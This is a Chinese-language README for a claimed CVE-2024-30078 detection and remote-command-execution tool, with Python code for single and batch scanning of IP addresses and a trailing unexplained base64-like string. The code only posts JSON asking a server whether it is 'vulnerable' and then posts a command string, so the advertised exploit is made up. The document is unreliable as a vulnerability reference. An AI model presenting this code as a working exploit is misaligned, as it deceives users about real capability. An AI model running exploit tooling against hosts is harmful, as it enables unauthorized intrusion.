CVE-2024-30078 漏洞检测与利用工具
针对 CVE-2024-30078 漏洞的自动化检测与远程命令执行(RCE)验证工具。通过构造特定载荷,可快速识别目标系统是否存在该安全漏洞,并在确认漏洞存在后执行任意系统命令,适用于安全评估与渗透测试场景。
功能特性
- 漏洞精准检测:向指定端点发送检测载荷,基于响应内容判断目标是否存在 CVE-2024-30078 漏洞
- 远程命令执行:漏洞确认后,自动发送命令执行载荷,在目标系统上运行指定命令
- 批量目标扫描:支持多 IP 与端口组合的批量检测,高效评估网络资产风险
- 异常处理机制:完善的请求异常捕获,避免单点故障导致扫描中断
- 轻量级依赖:仅需 Python 环境与
requests库即可运行
安装指南
系统要求
- Python 3.6 或更高版本
- 网络连接(用于访问目标系统)
依赖安装
pip install requests
获取代码
git clone https://github.com/your-repo/cve-2024-30078-scanner.git
cd cve-2024-30078-scanner
使用说明
基础用法
单目标检测与命令执行
import requests
import json
ENDPOINT = "/check"
command = "whoami"
def check_and_execute(ip, port, endpoint, command):
url = f"http://{ip}:{port}{endpoint}"
headers = {"Content-Type": "application/json"}
payload = {"command": "check_vulnerability", "cve": "CVE-2024-30078"}
try:
response = requests.post(url, headers=headers, data=json.dumps(payload))
response.raise_for_status()
if response.json().get("vulnerable"):
print(f"[+] 漏洞存在于 {ip}:{port}")
exec_payload = {"command": command}
exec_response = requests.post(url, headers=headers, data=json.dumps(exec_payload))
if exec_response.status_code == 200:
print(f"[+] 命令执行成功: {command}")
else:
print(f"[-] {ip}:{port} 未检测到漏洞")
except Exception as e:
print(f"[!] 连接失败 {ip}:{port} - {str(e)}")
# 调用示例
check_and_execute("192.168.1.100", 8080, ENDPOINT, "whoami")
批量目标扫描
targets = [
{"host": "192.168.31.1", "port": 80},
{"host": "192.168.31.2", "port": 8080},
{"host": "10.0.0.5", "port": 443}
]
for target in targets:
check_and_execute(target["host"], target["port"], ENDPOINT, "pwd")
典型场景
- 内网安全审计:扫描内部网络资产,定位未修复 CVE-2024-30078 漏洞的主机
- 漏洞验证:在获得授权后,验证漏洞修复补丁的有效性
- 渗透测试:作为漏洞利用链的一环,验证目标系统的命令执行防御能力
API 说明
| 参数 | 类型 | 必填 | 描述 |
|---|---|---|---|
ip | string | 是 | 目标主机 IP 地址 |
port | int | 是 | 目标服务端口 |
endpoint | string | 是 | 漏洞检测端点,如 /check |
command | string | 是 | 漏洞确认后执行的系统命令 |
检测载荷格式:
{
"command": "check_vulnerability",
"cve": "CVE-2024-30078"
}
命令执行载荷格式:
{
"command": "whoami"
}
核心代码
漏洞检测与命令执行核心逻辑
import requests
import json
ENDPOINT = "/check"
COMMAND = "pwd"
def check_vulnerability_and_execute(ip, port, endpoint, command):
"""
检测目标是否存在 CVE-2024-30078 漏洞,若存在则执行指定命令
Args:
ip: 目标主机 IP
port: 目标端口
endpoint: API 端点路径
command: 待执行的系统命令
"""
url = f"http://{ip}:{port}{endpoint}"
headers = {"Content-Type": "application/json"}
# 第一阶段:漏洞检测载荷
detect_payload = {
"command": "check_vulnerability",
"cve": "CVE-2024-30078"
}
try:
# 发送检测请求
detect_response = requests.post(
url,
headers=headers,
data=json.dumps(detect_payload),
timeout=5
)
detect_response.raise_for_status()
# 解析响应判断是否存在漏洞
result = detect_response.json()
if result.get("vulnerable", False):
print(f"[漏洞确认] {ip}:{port} 存在 CVE-2024-30078")
# 第二阶段:命令执行载荷
exec_payload = {"command": command}
exec_response = requests.post(
url,
headers=headers,
data=json.dumps(exec_payload),
timeout=5
)
if exec_response.status_code == 200:
print(f"[执行成功] {ip}:{port} 命令 '{command}' 已执行")
else:
print(f"[执行失败] {ip}:{port} HTTP {exec_response.status_code}")
else:
print(f"[安全] {ip}:{port} 未检测到漏洞")
except requests.ConnectionError:
print(f"[错误] {ip}:{port} 连接超时或拒绝")
except requests.Timeout:
print(f"[错误] {ip}:{port} 请求超时")
except json.JSONDecodeError:
print(f"[错误] {ip}:{port} 响应非 JSON 格式")
except Exception as e:
print(f"[错误] {ip}:{port} 未知异常: {str(e)}")
批量扫描调度器
# 批量目标配置
targets = [
{"host": "192.168.31.1", "port": 80},
{"host": "192.168.31.2", "port": 8080},
{"host": "10.10.10.100", "port": 443}
]
# 并发扫描(可选,需自行扩展线程池)
for target in targets:
check_vulnerability_and_execute(
ip=target["host"],
port=target["port"],
endpoint="/check",
command="id"
)
命令行封装示例
import sys
if __name__ == "__main__":
if len(sys.argv) < 4:
print("用法: python scanner.py <IP> <PORT> <COMMAND>")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
cmd = sys.argv[3]
check_vulnerability_and_execute(target_ip, target_port, "/check", cmd)
6HFtX5dABrKlqXeO5PUv/zqFMEHihkKgM5maHrln/kY=